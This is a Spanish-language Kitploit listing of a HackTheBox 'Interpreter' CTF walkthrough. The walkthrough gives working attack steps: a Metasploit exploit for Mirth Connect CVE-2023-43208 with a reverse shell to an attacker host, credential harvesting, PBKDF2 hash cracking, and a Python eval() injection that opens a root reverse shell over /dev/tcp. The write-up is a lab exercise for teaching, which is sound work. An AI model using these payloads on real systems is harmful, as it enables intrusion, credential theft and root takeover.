Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Interpreter-HackTheBox — HackTheBox Interpreter walkthrough: CVE-2023-43208 Mirth Connect deserialization RCE, cracking de hash PBKDF2 e inyección eval() para escalada de privilegios a root. | Kitploit
Herramientas/GitHubGitHub/ledksv/interpreter-hackthebox
Descifrado de ContraseñasEscalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónCTFPruebas de Penetración

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Aprendizaje y Educación
GitHubledksv/interpreter-hackthebox

Interpreter-HackTheBox

HackTheBox Interpreter walkthrough: CVE-2023-43208 Mirth Connect deserialization RCE, cracking de hash PBKDF2 e inyección eval() para escalada de privilegios a root.

Ver Repositorio
hace 3 mesesAún no revisado

Interpreter — HackTheBox

Plataforma: HackTheBox SO: Linux Estado: Retirado — walkthrough completo publicado.

Walkthrough completo: l3dsec.com/walkthroughs/interpreter-htb


Cadena de ataque

root@kitploit:~
Nmap → Mirth Connect 4.4.0 (80/443)
  → CVE-2023-43208 RCE por deserialización de Java sin autenticación
    → Shell como mirth
      → mirth.properties → credenciales de MySQL
        → MySQL → hash PBKDF2 de sedric → hashcat → SSH → USER FLAG
          → notif.py ejecutándose como root en 127.0.0.1:54321
            → inyección eval() vía POST XML → ROOT SHELL → ROOT FLAG

1. Enumeración

root@kitploit:~
nmap -sV -sC <TARGET_IP> -Pn
root@kitploit:~
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 (Debian)
80/tcp  open  http    Jetty (Mirth Connect)
443/tcp open  ssl     Jetty SSL (Mirth Connect)

Huella de versión a través de la API REST de Mirth:

root@kitploit:~
curl -sk https://<TARGET_IP>/api/server/version -H "X-Requested-With: XMLHttpRequest"
# Returns: 4.4.0

2. Punto de apoyo inicial — CVE-2023-43208

Mirth Connect 4.4.0 es vulnerable a RCE sin autenticación mediante deserialización de Java:

root@kitploit:~
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS <TARGET_IP>
set RPORT 443
set LHOST <ATTACKER_IP>
set FETCH_WRITABLE_DIR /tmp
set payload cmd/unix/reverse_bash
exploit

Shell como mirth.


3. Recolección de credenciales

root@kitploit:~
find / -name "mirth.properties" 2>/dev/null
# /usr/local/mirthconnect/conf/mirth.properties
# database.username = mirthdb
# database.password = <redacted>
# database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

mysql -u mirthdb -p'<db_password>' mc_bdd_prod

La enumeración de MySQL revela el usuario sedric con un hash PBKDF2, y un canal HL7 que reenvía XML a http://127.0.0.1:54321/addPatient.


4. User Flag — Cracking del hash

root@kitploit:~
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Hash crackeado. Conexión SSH como sedric, leer /home/sedric/user.txt.


5. Escalada de privilegios — Inyección eval()

notif.py se ejecuta como root y escucha en 127.0.0.1:54321/addPatient — el mismo endpoint al que Mirth reenvía XML. Pasa el campo XML firstname directamente al eval() de Python.

Payload desde la shell de mirth:

root@kitploit:~
import urllib.request, base64
from urllib.request import Request

cmd = "bash -i >& /dev/tcp/<ATTACKER_IP>/9004 0>&1"
b64 = base64.b64encode(cmd.encode()).decode()
inj = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
xml = f"<patient><firstname>{inj}</firstname><lastname>x</lastname></patient>"

req = Request(
    "http://127.0.0.1:54321/addPatient",
    data=xml.encode(),
    headers={"Content-Type": "application/xml"}
)
urllib.request.urlopen(req)

Shell de root recibida en el listener.


Flags

FlagValor
Userredacted
Rootredacted

Solo con fines educativos. Prueba únicamente sistemas que poseas o para los que tengas permiso escrito explícito de probar.

Descargar herramienta